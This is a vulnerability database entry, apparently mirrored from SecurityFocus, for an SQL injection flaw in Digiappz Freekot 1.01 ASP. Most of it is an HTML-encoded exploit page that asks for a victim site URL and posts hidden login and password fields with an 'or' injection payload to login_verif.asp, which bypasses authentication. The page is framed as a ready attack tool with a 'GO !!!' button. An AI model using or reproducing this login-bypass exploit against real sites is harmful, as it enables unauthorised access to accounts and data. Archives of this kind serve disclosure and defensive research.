Digiappz Freekot 1.01 ASP SQL Injection Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType

Digiappz Freekot 1.01 ASP SQL Injection Vulnerabilit


                                                source: http://www.securityfocus.com/bid/19768/info

Digiappz Freekot is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data.

A successful exploit could allow an attacker to compromise the application, retrieve sensitive information, or modify data; other consequences are possible as well.

&#60;html&#62; &#60;head&#62;&#60;title&#62;KAPDA :: Freekot SQL-Injection Vulnerability , Login bypass exploit &#60;/title&#62;&#60;/head&#62; &#60;body bgcolor=&#34;black&#34;&#62; &#60;script language=&#34;JavaScript&#34;&#62; function egxpl() { if (document.xplt.victim.value==&#34;&#34;) { alert(&#34;Please enter victim site!&#34;); return false; } if (confirm(&#34;Are you sure?&#34;)) { xplt.action=document.xplt.victim.value+&#34;/login_verif.asp&#34;; xplt.login.value=document.xplt.login.value; xplt.password.value=document.xplt.password.value; xplt.submit(); } } &#60;/script&#62;&#60;font face=Verdana size=2 color=&#34;#00FF00&#34;&#62;&#60;center&#62;&#60;b&#62;KAPDA :: Freekot SQL-Injection Vulnerability&#60;br&#62; Discovered and coded by FarhadKey From KAPDA.IR&#60;br&#62; Special Thx to Hessam-x From Anti-Security.net (Hackerz.ir)&#60;br&#62;&#60;/b&#62; &#60;form name=&#34;xplt&#34; method=&#34;post&#34; onsubmit=&#34;egxpl();&#34;&#62; &#60;br&#62;Victim Path : (insert http:// for path)&#60;br&#62; &#60;input type=&#34;text&#34; name=&#34;victim&#34; value=&#34;http://www.victim.com/FreeKot_Path/&#34; size=&#34;44&#34; class=&#34;xpl&#34; style=&#34;color: #00FF00; background-color: #000000&#34;&#62;&#60;br&#62; &#60;input type=&#34;hidden&#34; name=&#34;login&#34; value=&#34;&#39;or&#39;&#34;&#62; &#60;input type=&#34;hidden&#34; name=&#34;password&#34; value=&#34;&#39;or&#39;&#34;&#62;&#60;br&#62; &#60;!-- Discovered and coded by FarhadKey . Kapda.ir --&#62; &#60;input type=&#34;submit&#34; value=&#34;GO !!!&#34; style=&#34;color: #00FF00; background-color: #000000&#34;&#62; &#60;/form&#62;&#60;/body&#62;&#60;/html&#62;

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1